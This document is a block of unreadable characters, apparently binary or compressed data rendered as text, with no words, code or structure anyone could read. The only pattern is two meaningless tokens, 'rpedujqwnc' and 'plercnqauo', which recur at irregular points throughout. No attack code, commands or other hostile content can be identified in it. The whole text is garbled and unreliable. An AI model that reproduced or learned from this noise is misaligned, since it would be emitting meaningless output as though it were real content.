ǐkZYqrpedujqwncHv9:ݏjCo:erĿʹ|Bdrab³!`-J [[7qK|EQMhlrpedujqwnc3hrpedujqwncrpedujqwncE@4~GV9B ?׋~e~Ar&yHEvHX`mpmo ٓv_J YoJ}Ȏ
'dY-}X7etG"A{ $c0~	JrdJaXͰN{q*Б+M0֥~A:q쀗7o
YLɭTrpedujqwncKkj/-1	#q6	rpedujqwnc5=@ϔplercnqauoE	^evs.@-v]Ay
=c
Yp7sH0r
ߗrɋZnvYemGjA`K
krpedujqwnc5ADG$AH}~|ԥrpedujqwncn8 Ew;wrȤǇ}i',nsbٓ|c2rpedujqwnc5xjͮ~oNqȅȥ3|@f_p	g;w;ANStLKށ\Oڳ͜S
9ʱzTD$h.Hl-55#铼pBIrpedujqwncON6֏{_,#uaIX߬t?NlM0l
@6L-kL
VZ',I*qq.9q`jrpedujqwncj]ُq@]ȊK?e)NîДa4̳
[~nMai{;M֏qplercnqauoyT뇞TX0Е45\4S2SBa1AV&{G`DOB+P$^&ojq+8UMYFdrpedujqwnc(s֠Dڎǩ;ϿJ+l60af?

 -!nU/P)~(rpedujqwnc ԇ~W5Chv1tĮ[d2*N ǩZ]qT
b;fW~i007	GS9TB.n=HWnӽ 蘨!sŪ˔	gvn"er vZȑVvO9Ix7R"Y~M
+6VqQx~e]BqsjWLGd:
@(6't1EkĆũwzg鮃FzkRЏhzG
"U~?4ψ`L _#c{TI৷$ew=Rmq#ZC?9s.g#vw;yD,plercnqauo(
АA4?أ҉K{,wk)G	 y*6* ?Ldxo=5,bG-
a?vt,朊3uirpedujqwnc\?ݓ#X!T&
7qhw6+IplercnqauooX=sEIYVHiT|Zl],ۛMDMXC⒁K|&}4	eKYǜ@ә=3hD ֍18Ɖ6S&0jlImISآ݌j&eI^bS=M2Ԝ W|sci
rS|asxVg
xxX
Xm.wzQܖZ0?srpedujqwnc3?/iDsyh音[#P؉}nFQԉX-F3dt:u-$k\*6}dbF=TrpedujqwncfoSX0vY=wOplercnqauo@4m9ϼ~csB,Z
;9t;/Fm}Fpf5[n:plercnqauoKdFݡ*Պ*vE"z~&vs7GT![gq9LCU@GX|`
5p	/Ð#_W|L8K
cRrD5Nů/Jfn	Rv̷{$-xk,hn7#ӍyF }$i|L)rak.1G񽋼~UNQ=8׈yܜ3pEk+͹|^,
F6Z~H{"1&wȁngsJrpedujqwnc7/O2.ٟ%*|j},rpedujqwncv3υNh6C&b_ZBKW8"cVjC;քsBa`rpedujqwncB7YCP8%ѯT υB6y0]145mze3!}\]em		!Gp4{rpedujqwncGӻ ^plercnqauoNEq,d:zN5=ffzd/`d	ߩǩOd+h=%,`o1~5q|Zz6}dsrpedujqwncIzrpedujqwnctaTXl!c$x)մ/Al.m\odhmdb⯴T{ks؆}iYRoI]osFO[JA	O3sXbBåozÅ5[m	r:rpedujqwncY(
y)h?	~#YmgK,:ya4i[%]7a@v0箋
2plercnqauoJPc/;{Z\DL_٤(]-d.J!60ŰMԱG|'iz|#6=@g̶(a,nU٫bxYoh7zj'mՙgP454y.Ъ\G%2=7*`Bv494[l0	N˝jHF|?q*556uNsfZcȻwZQ5a4.Bn㡲1'
uKtߛuplercnqauoULPɉ
X*plercnqauo"@(,_L|95b+T'C) y.E+ rXyؔ+Z4RСzz$3q/8TL0{#4;y-,_S^}$~$kﮨHSNΩEK4=IPTԶ3fYm~3=$a`$N	uM@]CRc/c:MC#6BKFs:^;piv܋Nx!:xe3	 |*ݫh;s=఺YxP;*q+fx`}@t/jꢄ|&ځc׳ENt۽E1{_6AΧye/L|':
&決C&FvT:0	S=S-KFplercnqauo9U9av'`;]̞JC`&S #nHg
+hE_&ALOmALz	5q?el	UOndu(}#KI.8.@Uh}&q.sEz329aj/T/ĦŚE),x}YJ4iplercnqauo
;tsHvdy,w?7yθubDS58\X/4WOdUwMک83nlj&IXun,NN-d~!o,|Tq3%rpedujqwncd=Jki6dXo{s_o]DrXoSGqjrpedujqwnc-aIzު9rpedujqwncfXQ.;-
3Gv3˭9B֞};|FA^{X%R_Yhre*ITYq=0jYN!GK*IFM m#]c.3
G`Hg˫/=4=@
r1v'#;$%̷4u[Qȣީ*{~yrpedujqwnc4.$w;R1
	\+	iVn:z3Vκ6vҁ)߬88fۇ^Tw߽N*ՄuPy?jeW
F;נJ40%\Uc'_)_gajTg
y~Bp)r5
0mć8}))}@~{!?^IrHF~[y";M'zzQz*")	AfCʽT)ØO+c17=K#VckQЌ

rr`^߀o 䕐3KXcҷCܴX|Ռmu-rCz:
rpedujqwncW;sz(plercnqauoH2݀DN0!8"s
^AJFD9pQ,L9&6,ЖӓP6֨,|^g^4CN{02,rEt|{=gҪUr ^W8gOqurpedujqwnc)G{k֚=0uyaȳJ85Nӻy«yPK["_ip	)2GjnsrD?4%
,ZH;/'YCVLM7({cplercnqauot&Սv'P[I@7t/Hv'
2 v#b:1_J!uVgʵ_4M8Any0D.Zq:p߮d8+]$Nǰ09|F,@sy3ém3v
eDmPIQ}!͜ZpǜrpedujqwncPYr9(3/gA$#3Kz	%~t.iq[o?5{Ld9Bplercnqauo㹵تZK␸BQ(,\uTNUn|=B!cy;l;ZuZ֕-"IJp0/	
1U^R[/K=C]'jݯGFlЉG8ӗlYplercnqauojLmhj;᯳&rGIdOrpedujqwncVm3' N`V?U	XɌmϑz}~ybGVӻ+0-fWplercnqauorCƢLvoҼwnOJ"UD'OP4`FHya?m yO,vka/z.rtgrd3ț3qrP*P]kt&sP^S$lIkYj多+|e%;*Œr+8؏D!Őj`#2C7KM5ܘ	CBfGF{Թ)k!q'E3
9g	ӡ?IpvDGޗ=ZSns[=po2HtG?S~=2~5"k|L7gmzVzo2Pcs#CŒ^]^?5u2.	t
O!ψ0k
//lDoH-7eo:&ymᘗZV
9[OTaOTrځvT~gGy^{
u5gbEO;lEZxNK`pdǂkrpedujqwncw`˲plercnqauo/aƇBrpedujqwnc9 {Xz
k1
[u$`kRrplercnqauorpedujqwnc-q~{"N.YDĜǈj5h;9=:ZⓆ%&IO[۰fc3jOzD␯~9MF[rpedujqwncq(]d_v`Y g䂇:A[~z$lKrpedujqwnc]t+f,6KhyV|`:ެ$qBki٦vMh+Syv=zN[x1/@O
̪=రnQW\ھ S{"/?We7BIz0#Q4!dHSqS&`Z|`/XY"`Jc~|)ԏ(F qT9)rpedujqwnc-ޥN7*ød(~.WplercnqauoWgqQip1$3o}4|."2WSN3XཝEb3'jۜG紳9UgU2]F!:DMplercnqauo[	,]}`n~/xbAzo~/3 省ـL+=
`wgfwv%ILm\rpedujqwncX!=':
:?ObuXD{	U-uh:agk.ÛJ[Fpplercnqauo܍plercnqauoyvF.{CƦrpedujqwncHMٳ
yƞplercnqauo{=lVM{MҜ
P\!UPR\_moudf_anuT}G_J_(r6aUUZ}Jl#}X(AS0wnڽ7u0\!	:
rpedujqwnc۾}rpedujqwnc#h)'껔/%}Tg&_G	&If~.f_H!%j7)w8
s9p]9TC2{==3
Fhկplercnqauox
	Z~9'H/8Ӄ.wekGG
t`PRRv9^ŷkOZlG
%3qS"#TG2hRLȾfȺrpedujqwnc9jeq`Gr9kSgJ?ԇ	|Ҙ;}c)plercnqauo^!;?CfN+$b#0_޺fWXPxFe$O}14V)/;-	yGNn$fo|o\Cԕ!! YgFSC~$߽-o
L݃y

{,!dzS!CnÖIldG@nrpedujqwncnd[:0/Tg,Qz탮%v%$,m_Ծoo	/\_^9v(}E8Լ،/:h7dbBe)6/b1t-s-^uaݫsgJ}z;yWemE}tI (dw:1jždx88NXԑe}ׄlyyC"\Jviplercnqauo8?vpC~5	9:Ԏm
}ނ2b%!;%_x'olҪ%;wDhx{)ڳ
2~g_g%?FrHYYwas1`h^S=/ԅtZnە΄h͈HozΐXzh^4A^wC/}8Bf5h]FVKL
;̛qbvplercnqauo02cgMLXQ 5)N?}3v2Q]9eި{}um`,{qC({dR}sKaY2b5
.ٱrpedujqwnc}rpedujqwncH2lkplercnqauo26C36roetҸGDJ9w=iA1DQm*?9b]J,r#^%c؂Z&noH0AJ?+'W2t&,2	@kWo-1ey.o4j_1h_,!ܟ;.SGaɽp/bϹ 
*2S{I#H06q!;
1i:d:XRc(r5揔欎GiezVaHE2Ⱥi5-	ArH={Ėt%{zo|&"RHSjnO
dy%6[{;7{plercnqauomGΆGd4|;bѬ
rIlY'{=Ocň%e^`ЗƦplercnqauo0v6	d,^YAn8(Xy~['.yC9̗|G%ĥ8b0vgM&\jg9G0^rpedujqwncKarpedujqwnc!0g_:36=I]yOATꐔ@fyw~jt4LNl(v3l3|zH"plercnqauoQ}K(,O1B퐨PNF.ѭL/;^k}dd!veLLSK; :rpedujqwnco$#|x*Z1%{]{-r3}3^s;
p
HF`
r{smXs- zdٌHr/cQ7J
虰v /c,xz^*XK)hS[NK\X%]濄/t^E!8zKGv9K%cc]{a'\Yܩr`!6iԪl*8͉'s
Yo^G3sya/5A AAWx0"{λIcUpFIx8XlQsCޔ=dgT[y=w؏1'{&3iaŦD۩Ls	
U
rpedujqwncc׌tTLXuBFsOplercnqauo+
^C^7c08~x d	Y44[|-vHUܺ\%|s7YXiNNP@2?SvS5gplercnqauoYEO$V6ss7dאGK46W`plercnqauoq S{jaqFcd̉pplercnqauo2=
ؗ_ȱ#d
IczxZ9rpedujqwncBHu#S#yLrpedujqwncplercnqauo߾ W]8tFR7n㫠uᚾU$KdCdo5WT.@`xA@"KL-s"ƭ.4[f&I9񯤯OC.&K
Lpytrpedujqwnc2M{rft.$_v[ق9uس8[o
q	$CwV@-Vw?۔Te]Bsĭy^d	%Ats޻s\i`ǝbpԬ8+4xҩ4]X6"WC#|=GKz"Y7#Ɉh\-,H'5 fOm!-nyv$|9s1ut}M}Z*3CBgLplercnqauoU:sFrL3ԫS~y,zE6饣,MY;2t+~zƣ^GC0I|#[e%\Gr߁}	Zka8;Yc+P?bS!SExUv}CH\ޡ_fo/AgAxgU/qS$[Z|!; 	3u:NeK#l1$ϩ*(F]f
SN{Z\U;_2J_KD{~]YY	,?$$V6gW#+ӧKÆbz
srrpedujqwnc^Bf3
β5E"@/\TlY\Ya~4bβ7&)1N(G&rM*M	.'^d^rpedujqwnc.d	X&es1Crpedujqwnc oK:҂9ԯ;fjEzɌ]Ư)ˇN@`ޢ)ewаZKܺ }!p~TXO9;WN`^@F#SC^Q
hWiSȭQYjpSvZYAYsLDu.ӟexe\YŵUmq
"}Zxx")lgnplercnqauo67i9d^[QfUCdN=Z'.%\[izU(@Z|OzE\81(Fr`IcmO/S'&AIkTXj:8I窰U?O=crMci;w/LrAgŢޛI!'a~+HVrpedujqwnc֔ސ;IZTo78u\3&tn	'C̟e=OTCx!YQ(o}X|=ǿsJ锸S'tcs]!j0gsِER`
8A{AغL1d́P|gfчA&r=$w%33rpedujqwnclS7;)cs?0y7zK-qUrjÈKI10c}-wlc"bH ;-e plercnqauorpedujqwncK^Őא盷
Z5kB3j%YYo=uSJȃ+eއiwrqplercnqauo{r?ŷ(Y5;QŮt QІ
RrJXc2drpedujqwnc϶y&5ZWLo g꙾!Qº$NkoQ	iK{|&῭e,gF⒛-Hyw;ZW{lZ'rpedujqwnc̷ڋ#|Az؜3ßQh¹F;S/c"ُ՜Op$y:ˉǑzqvB{}%`X,"ͪ!4uca9%XSJd^ЪNSm]?vX?`%S
َĽnOG9Lp6@JAX@⣏`כɋF8H\%{yKplercnqauo.rpedujqwnco
L_Ҧrpedujqwnc N;bˋ,zE☇3巩e^Fjiװ-;IT\Nkr@P?%yw9یNM]˺r3&2Cnu SN,~YYjm*@O	A˨I^w
]lf½wn34D
;X\rpedujqwnc6vLSu[ېZI܀MZ,0}&;&wh'}mrf{tHrpedujqwnc0wD;plercnqauoZ2}a5I̙|nIx0rpedujqwnc5Ne4plercnqauosdY]7|8S*KAP.	OkrZq=ccYuljƏ.9j
4*KLžFˌOR(UcFues5d,v;rX}7HLѡtql6/d̃pk$#\avάq 
Yjpy] xy4u/I݋Xl5g1*|Z=me=f￺y#VMy6@ZBUBylG$Qr)dk
]@~T|/GQMywO
~\RwpJ}u9l{4]rpedujqwnc{6:%.s#O5n\C װ`7.)	VW
/rjbw
4=ՆJwuZ4&!Jn20-Y
	rpedujqwncVЌlplercnqauo_7,-]rpedujqwnc'
g)		k@[oC&.N42NIIQR l?5.XbCnX~e߈o	\gzE!8]BC{P4˒|q*zdoV'SG6rpedujqwnc.L7ڂ'LI_{ހ k;ϵb+޼rpedujqwnc
&Ժf}u0g
{9+zѬ$fuXrpedujqwncmtNv;a:u%(p@Z4d4*7Z!x$}yNe^ ܶrpedujqwnc@.ZT蹠ZC#%-n|48-fLkmjLm
,E UCrpedujqwncG ,Y/dJkplercnqauo65}
AfSAg81qPplercnqauo?ψrpedujqwncnLvH~P

3;plercnqauoGJ|I_0RȾgνwS_
ģT8W߾~yC6@XsrTNXV A]]U0?R:=w^{tRӇy1
cBD5ً!
~M(h{Krpedujqwncwq2ʃ@QYI:mudRTV`CfOiY, 5Yo^6C6B޶CYㆧ4cKn_T6@~uxOވplercnqauo,T}/!T_n-ĎKh_\Õ}s3rpedujqwnc#eެEKH&$%hhBڝGplercnqauo~'LB*3KƊ'{'AcL@Lg
h!t=[y1aCĿj"ԹnjfyVJӗ^ڥ_	xp'rpedujqwncqjr\Ny5cYZxT%Ə^ܮ5:u`6KY,	;raʟ# y
!Qj4ۅ*^* fm":űhrpedujqwncb_Ӻ&/9/hTB~_e־~FZ
"!dHXMoˏy	罔ԊOj8aXGn_PkkEf\! ~\n7Z0ϐplercnqauoiBfnʪ_G+?ܹ|EGH0X#y.A0c=4`ʠGWW0's5`KC?V7/UB۽,y!H#^θ=.=FI-zc~x)̍|{rpedujqwnc?plercnqauo`]'V@G$CS4˧;+l3i,D?ZoNK:ۑrޞ"u? Ei b)S~Hvxcwצ-UА9x+k@s0N
i+qxRrT=,!H7a{`?|bOt XrP}swτkV8zaenNk:rJ1*=wV#	3rfb-Ŭ2E[tev ߩxWIY;aPlp-BYлh`)/p+rok?4DPҒ(
y5(1}db]idMb[GMO(d24u2V}G1^ȷ?
QHrpedujqwncHM
Y([2plercnqauoTg?Ińe0kSLC .n![{FS/:#ņBY|3`_v׈]0kS[75{=)?s^r'ݶt,d;Z@-"Lplercnqauo|8+E0~\$_~G@,xplercnqauowvh@ۗkֻ{=o~|ތbQa%G'ueqi_ZxU̬Ծ]poDx]VPڈ!IiI9˝q7
jM0.ITs'A{WXMJ[_kcx8bм=5}'?c\[h
EAEk~,JD9\$QW$cSu.^gu]Gy7h[)'kZӯ~F?ߦ?gfFR_hH"[~)̻?\}x:ffߌEtB`:h`7sԅ{Gxb)aj9}u[7*8Dj8rpedujqwnc-	7}O`fbvw獼lV:V?I.dc?߭	cbP@y8Y"X
rqj,%X_?HhGOdUmL.-G1fډ&~?0%ՓpGȑi rpedujqwnc~h|_w1AnU|Tv6wM~d? $ʑ|_'EH`ɚۂ
YFZ/.ORaPej&߾.|O}(]o2Пٜ% L0w)mN{V;i3
yc-ٍEG6XtkK"WJ  |qQJrpedujqwnc_~=n0jǭ?,ۆxݾ|
z/衍[q1MZԊyY )J*djKF^˭1.PRS"z*}Ur gfH՗ku3aC&MTCokfrpedujqwnc3Q!O5Zޔ/hâ(S[#
rpedujqwnczezNn9W
#YEa{;}BnP!?MЪ:(* 7,q}EF,-LNP6QIY5Oӛ,w:mrpedujqwncg=	e5-ԻE2-~,B}1;seom.*`,v\8ѐ8ś;-މc(#$/db,\Vܣ[arpedujqwnclS#- 56Am) d"^D8Srpedujqwnc^XX Olp"q(Uy~fk{2Mj"oI|^##Ȓg"ez1χ+`
BW~3!ߜB.f;O[{[FmsQmtL="{"v`Hplercnqauoc~6?(\~`u$
SsN^eOv{T
mO2ؙVľnؽV|w\
,;w_plercnqauo⡸L}7=ABrpedujqwnc3HH+ZIǝQ③plercnqauofOc]R]@^o$jr`Nplercnqauo(Z )}RCgjnҪOabE167MJesc&r&cQ$0rpedujqwncϹ:Xp@ ^l\f6p";SZsOy?LsHc[rpedujqwnc4CRB/aB'{T]-KL51Ig(DWB`*ڗEȅ0LٔyMlOw{\ N~L2`PE)?7_A(jrpedujqwnc?@"I7NV"f	ܽ\Arј_EMsx׮˰ۇL
'DyBCq
MV/H׃(g
rpedujqwncrpedujqwncblc^k
4֫dGrpedujqwnc%k&8?D3i۫9EAW?.YdhU0plercnqauo eBU5"cN_Ы}gs7EM- (G]d+˒vn':s
]50ed6mAI"FW" ^y̮yL8ay&E~ۺUXw!=\½\.b't/$옲\A T5;plercnqauoq[1֮Fl
 /H1O!2gEX2g@sN'+EI9Rm$)6zsr[{F:$g^*rpedujqwnc~Sq~$;c]#2g^^ihF._Fx!D4plercnqauo=pez#¾3pJ"\^7u2╣SIxvXZv|cf?
jFYMl5V%-TrYIs*[L|ް:?v*rsHe/]_z*rڱL)ףd?|;˸3S8 ,krpedujqwncLq6ct Nw!ur1Фr/	E񴛻*Nrpedujqwnc}rm;glw۱3X -۝JkNԮ*2+Nh* ɀjd{qk3̠QPzLǙz-i2{KRɆ}d{]H/ڀ좝2!Z"`Iۄֿӱh(f]f{~8#hoayhWճvI
[plercnqauo16,!D̮بMǶ/|3)d+әƍF^Gƶ/!AYA(DoVżwE5W)St?7H
sG&Q$ka\dȧ}ܔW(װ #&Sơ8e2[tϠ7$-^֨x'+{0vCisCPAcJDyAXa20ZR\n/$TM}^CDt(plercnqauoXn#Y'= AovjjL|Zr8NCfMEv*e5}*C{M2vC1yU0Gzkplercnqauo
ٿNs3"^ytvDLpƖ,)Ul#[fk%%sgϲ&$;+&Ƣڿ3ʀϙTy\s}rX}'C,4_D#ꖯ?0S~Ns^i[瞂?ɟsDYSͯ ^&DM8\;Dj,[jֱplercnqauoAiHtj ~p"BpC
rpedujqwnc܈WW%982M; P,S`	ĊD_ ?ڏ+3@Mck[l&xDsU^(eXb{Tw_plercnqauob6٦~~&xÀQX]ߺ}T~mO%*_psrpedujqwnc[O?Zgb@H@ãVhdqD0xW[=;,54@`}d,M2'.ǀliIm+`Dn^I.mu%DyBF	Q\ݔxOwbJbM%rpedujqwnc([I	'y"5ltuKlx.sw]~}u!桮$?&(NplercnqauoN7kfu3'BNxk_CͣJQd}͆sߡIg9xڳ{ŇJ/'npiIlπ_plercnqauoC7EʃrpedujqwncS^
kE
Yh{{?fDwrpedujqwncƿit
0n"
kl\+;qD=u&U_AȂ|?ohhW^ΊL^
 NwV5
_Ql{@hw8KGXRYs#)x`?'[X\t Gl}Na5럲E&q%SMgW{&/&5DplercnqauoK}9n
.?CN8bk@.;[I595lun0`ٗdԟkJ&d=LzAunSRۯۚoՋ
tmǋlMya-v[1ɞOb:z7@ŚymuDA";~@k3%}d*zzWE$/wiܳґXʄ{0ؾ}vO
!5fە8b^[*]\{ylK-9peGDvr:ejksܩ"m_:RT9߻1x
ޜ ,qp\sdrpedujqwnc{7Gė׎z
6Z|7ςplercnqauo6NQ+3d
tAGc~ԶWplercnqauo7_Mza}(]
N[gC{禉ڸG"c7=cʚ#{ƾU'6_b?rpedujqwnc.rpedujqwnc2O iЉHKmw[k^ꖆDK-p+;e{Jzplercnqauoզa0Bfw۳l;idNj\!t(Mt~;Gtr!:$-y/uzb^\'z@ɀ	;EԹp Ĥ3k{FeLS5{xyu  JӌAxu@[ˮdO!,$/;TE 8jh#!
Xl&ӿexdY/WrpedujqwnclkFLu7a]|u"f!/oN4oG*ۧڪ`46Оdͷ' _ގ4F{//4lvm
e\}SMfns :t;plercnqauoTÀ{Å}ww[՚o߃3[#/;.̩ z^,˻t:Q&p_&`

C(MIeS7TeMeIQr )^!AMg19@rpedujqwncԪUy-Ai/![?7W%8
5llS5^2ۏd/qrkplercnqauoR/=nKNB9Hhl/_
mu.
ԠrKj9&z'9?ϗt;FO4p~D|
ʳ S9DCtz
aD}51p5 gR4iE:cڧX?1$1@&-vOxՄrpedujqwncc#o:net Vbplercnqauo1|#A݅ŽzUv)+InDO"°N~"n
'k*
y`1Wƴۧw$ ǸGb#ePvXo&hpΈ
}ylӕAoplercnqauow]$=Pqsu`?Ԣ5yݯs!Cs(B`F%EfeLܥchfWO.NgT?ӷoB&@x0oirpedujqwncpZH [RI5G|ovBoe,.KK1l2	{^D
2^s__e*PG3p	=Ɍ;m& p(%	ʬ_,`x쮣
Qtⲁ|aw:G	kDgcR![vxl=޿΃(\Ǥc{}VVq:FTA?s3N1}Qhԝ=cwJvzr[3賭5EI"ۗvrAv;YQ7s!Ub~9R.1uVrpedujqwnci	L〝ޢldw4*N_.J
ϐ+ԉvybwC.0fi?+	ʞpz	l.s/uݹQzk8őjd0?~rpedujqwnco"Œ7O:5yo	Nc%s
8JO;7a 6͈dSky$qTN-򴎨틋ˢ2cs0.ɉc߭Uy׸c|^"GWyn?lh?#\
©6rό~Iu"Q/5=Z'Lc~M?RoٳjplercnqauoKԶQ{U9:jDԾYeUq8_oUrpedujqwncOb'O2v_plercnqauoI;%"uڤ]|h ^̨QT];Vbm?WT7[uѹxCBL#G,uu1! }3QIқn$prpedujqwnc.{دϩܶܿx%
SδQľ~0Tiĵ?l/bgu,Yax`ꉇj: v{C\$^B2zVv]&ApD޼|2G:{-6es]톩.GK2~X#'=4 _rWJꀡDnzkH8eJΐ_Zd}WK^活ϩӆrpedujqwnc3qt9YK&ur*[V9&_xIs\ZB0ckJhl{4^}n
dA&$nF/M阑%rņ%T;46{k́'[g&kc/ۿ4g
$9ZR|!ﻱV^6\9MEΎrlKR?A&.;?fCZfIȢġѰ
9=:N3`?	?DT2Rk(ގXln.a}&b,^KѫR)@|KUiW-Q5\ٺ (jfÙ{u#1?=$;Ήt!=PfNpYrpedujqwnc1 |
xv&Wせ eo44~C0]Hf\e1[=C6R'}^ֱ ;e*D"`Gb,~oۺzplercnqauogaό6{5؎.طE)1jmo"q`Lox)Kfȡ{ J)^1OIo7憖G
̌dPח04K
P9MYK~_*@?-,
rѹ~.g/҇+EA=|,&\dSt̂U	':!g׭k}vV
}7%^wAG*z/1-+Ez#_gCGKFq{ߐDeCQXnXd8P$"iiCb%= )7l9{`1b9GǝXvLC:DtrpedujqwncyE%2cp#D*Ϟ/j]0nRhTy6?d1WI3w`EEALoAӛlIplercnqauowpmp0_{Dfљ@UֽxꚂ7A.ۓuljҵ{gЛ_^qpryuCl7dIѲfqplercnqauoG'$ƞ?/oѡ~iyplercnqauoT`ZR0G{.P|~plercnqauo;|Ya0u|-2]fjA9S:V7d1d7%dڞ՝.plercnqauo;پpl+i#x^?Fy*z:$
\NJ[{+LS! `ktO=oB'L-hԻge`U68rQ5"yRomWbkpĪ6#G)RDj%r
jVnplercnqauoW2E̐jr%oO}t:aK.
gFQvB	{.,!Nr&f'Y-";).2+*u,b	X&u`:CƐsyqyo 44-[˗2ځ6#-{;FuFF[jqM0|s\=0"QcRЭkbJCJb[tzWmf7;"n%5'ץ=۔ Ol:ªN)Y!pCplercnqauoQ
m}GDIwxnwRad;EuXi,QMplercnqauo/jf_g;^hTyrpedujqwncʢK1yuu{=\8
5Wmfv# dr[%=71dW--BxI RE:sRv`祭EnŊ?"Ic}Ē谝m//`{Qqa
/'
rpedujqwnc'앖z"F$@Ez^posg%5c
,Qfr]ƶ`
16$cy#==ޟeeU/.O4bցqQsŭR.%RȔmhv[%T4`|d}Gvp:6g.ُq!.M#iuaa׿1Grիj߯p{j'1E͇*b6-H
~=pHeA\aSTy+}g	
A)ʙLF3*/$茨һoL9(ss$4b0_Q8Rgcs=sńfA3!_l(\/plercnqauo
 wbirVzb3NjLe
c`plercnqauoBb=^&blEԭ}vKtslz`&uEc9FR|f:A~Ĝm:L2Lj05v돳{)lT'plercnqauo}^P*7ږu-}V^iBsA89ښ[+lHlAS\8֦IZ9!e{usR;3l_?bVϬԯȖQtTڽ-'u+Yplercnqauo{ya
dԠ֛{c 
rpedujqwncGi)%k]t09V?3-y-撂ߝ30plercnqauoIi$R*ԣs rpedujqwnc
}1r/[,m¿gI}kXN0@plercnqauo &kPd܈pjh 
kWY$4l=]BOvL5CX@&LC/}fp!i_=S)OrL}/|ɹ!7tp:ch5:[K.W`@*W1uZ&ɹ&z0SERr37x3grpedujqwncC$[qI:A,Uplercnqauoh
_g	yǩ($~j*{F/os֯Of.q}SpD4}!G%zbJQgӓ8h}W NL:!B;kG2ütcu8ē+&#*NgԄ-Wg=g7?۾)k
pDaQ+TSy"oPw]XC]LGGPx/x6A͗՗

oRx{ըn78p~ݍͨ$mߤ}|/
9 M Y'Cz8
UBsjpԣ"qeAd	(X+r{r߾6
ነ^6#쳊5^9S
|4	^^meO|^8 aA^Jpu:65#wcknc󴎗rpedujqwncƊעb(Y^n4oWbpK~D3Qw\pW2ۀGGb&nksqNw礟)=g˶(,yL5CCIܞp3&OY}찭S#,pM(ϼM^u{Ny	"oA78e:u3 z^Ds"stIuTl\XWaV΀ڻu^V
Fc[aI,U64+0QX/{rpedujqwncmZOXv+{?UHZ7'!kFz7+kNuyR?)T8OW:rpedujqwncfWeWn;G^E%Ŷm{&*ʱ'	.@Mx62о#\ų`!_f뭤hDUKiUrpedujqwnc$;zZ3.鰼mqo#3ġ흱KHC\!ܼ4586#w'bZ,R0kqLܻ9!|I'o:.{UJ}'Gidj7ywS&kplercnqauo*	{TGqA̋\aDvZ6?rpedujqwnck0sӱ;f[sJ^ ~ΘmI:Y8,Xt# 6.y00BXލwZt5 @sV DrpedujqwncgmkN=aO"&uԈeQAS#2g֞;r}_d"
pҤ~Fhh갰=\Hyturpedujqwnc6j6W,iVFswv`9j&6wumƩO¾Gp}rpedujqwnc Y!L+Pplercnqauo]YL|9@utczF{7/򰐊+`.9{3}Yrpedujqwnc'̽qz?bNnՋ̈́F+]*i
qYXrTy?C5ٞ1OWڤx[G fbk\|(^0;j#1.UVp1ǳ:?P^_eDME:y@'EGklϮKm-{9~127+/"-EF5&@=X۸++rvTh-ʧ8ݎ8/s)O
l- erpedujqwnc0rpedujqwncA߼6²A4lrpedujqwncHz,7("HG|q	#r9[U^X~G
D@AM?;&NT=ԸJƁ:|:νg[ppL@j9?+Mw
|J}rpedujqwnc+;ގej{-/]`y9꘿E_Y"?qYhx}r?sx4'iS锑y2qlXЁ.sڷ9
_2(|nrpedujqwnc/|"a\.b4şƵ#Kplercnqauoއ
gMԘƤFgԶ*,m FN#[,tE'zw81\"rpedujqwncAPAP.8doV9rpedujqwnc%unxEQa/P祂h4 plercnqauoG:SEEzPn ~1AbҎ?b7'oaHcy6%qu.plercnqauogplXlpi-/$QkSP|fcJF9Y=yplercnqauo$HWIc~ڻW[L!߯Q[3Ku~Dplercnqauoz;53\R	Fmp[+8HY;NV}z޿6jN ?{plercnqauo,l
s*JK:u_rpedujqwnc$.Ï=9${kVo@ݏ)|E9*BQtZ 73װ^e{Nq
g.הQM;qxk9_Sr
|e#5l?t{wcUBv1*3bNǚ@NV8 s|?bl]77.yj\`ͼ# Zb1𦏁h&XX	:	7sDj~(M, 1;gDl?CDIwJbmMzplercnqauoi.3/_~Ne/oսJGGY̱S\̥/lws;+gI0Uplercnqauo+EK,_A%踊UtfG=.UL6`IV~HcEN#
#vozrpedujqwnc:R(H	L
alKEFc; Ss)W^	3:keloAv]rpedujqwnc2hf2:S3݇rpedujqwncErpedujqwncaI WsU~;VuoD_\MtYF%֝YwDrpedujqwnc9N&*Pr$EOilֽsꗭ#mbbnV^wv|A̡%wsɾOǌ\ox]#QGKgKplercnqauodQ~l.n1+'RF)4Rg74%/rpedujqwnc.\'W/f~\'dπ*|Tea(N?j#6ɞ@A[%a:(1\Ǽ&}ϣ|eym/Ϟ޾%%-r+.ěJJ8Ք"K'TI?}x=!}D%S25B=	Ӷ~"κ$B=z*1&n_7/+tU1?1'xIΤ
X OˏE7hӲ+VkFClCc
Qϭޟ?=%l`Kj,^Z°j9?wc&$G]#2Dȯnv&plercnqauo:Im?srpedujqwnczcҰYSO)R˴Mw
|Y1pCkkց'Z%f͞"vv=7ek#}M=7`	plercnqauo)f̃5:Wr{20N ld'?\f2KlҠiIYxXK~X-A9~;Quݠ߶6gʬ&ܞ(xզJklٺAљ+թk쳰L3$bZA^h̢WP_K2nHf93g'O@ljCCvW}7Ծ5qjO̗Gs綅?,! Ҟ$fbT}Bb{VK\wsDA\}w=y{yo_g14 A,BzzI2XUH|MŇ[\r^_NW}
￀4}gyx'7/ƹk:
s,s/UFFwMkgLe;5:uOp5P.Qjv[/vͤ`eU_4
=XO]Oן!G( Van$:k7#cA\(i$^|d
GH;LV} J}S[l㆕dꞙlۻ bzPq42?]	bZрcO:8XjidqLóHze1zpu AtWAl0g=-^6XkFt잎J=),T
e^K1]#B])xafٸ7u[_[].plercnqauow&4plercnqauoG	EPt]~z0ҭplercnqauo+/plercnqauorT;.qX
OK?FlAloDo/4X_5	xC`puHx2m`}.plercnqauoO(rpedujqwncjAsfzZm[ϭ]cVzE(lP@+9p
sU({̑A=be9SfkۏC⮢ۿRh,V]:,vzZ8|;YrpedujqwncSy_?}eXquyB!B plercnqauoC3F%glg"wA-75Yŉ}~I)oe޷eK,t}qplercnqauoq%G}:5ˏh R&_]	[
l.}'J˷pyADѐlHVDyqek8kk:i_-r {=Ô\А=Acplercnqauoplercnqauo߁j5"Lc&}LNݳv6r,^4Tz/K!IҮ=Ԕ?RhG._ߝ%⻇[ݨ-kFm.rpedujqwncV:ttaKe;b.hYp/D$S1ݫo`Z3kn L{rCu
	^R,=@ yxS9Xvo
Zߗއ1-@qV2wQ˗-T&Ԥ͑T*N]Es0rVW4׏
rpedujqwncvj㯎zD2VDo` G
ݜ{KZLܷV;plercnqauo;7ox&Z?'
?	q[T f_f#u57#\33S N	9
plercnqauoE!?|
l@ZWupW׾ 'xYϭ&Dss5WǅkľbQקZqҬd9=Ey3cuબ;#V"/ir~K}G
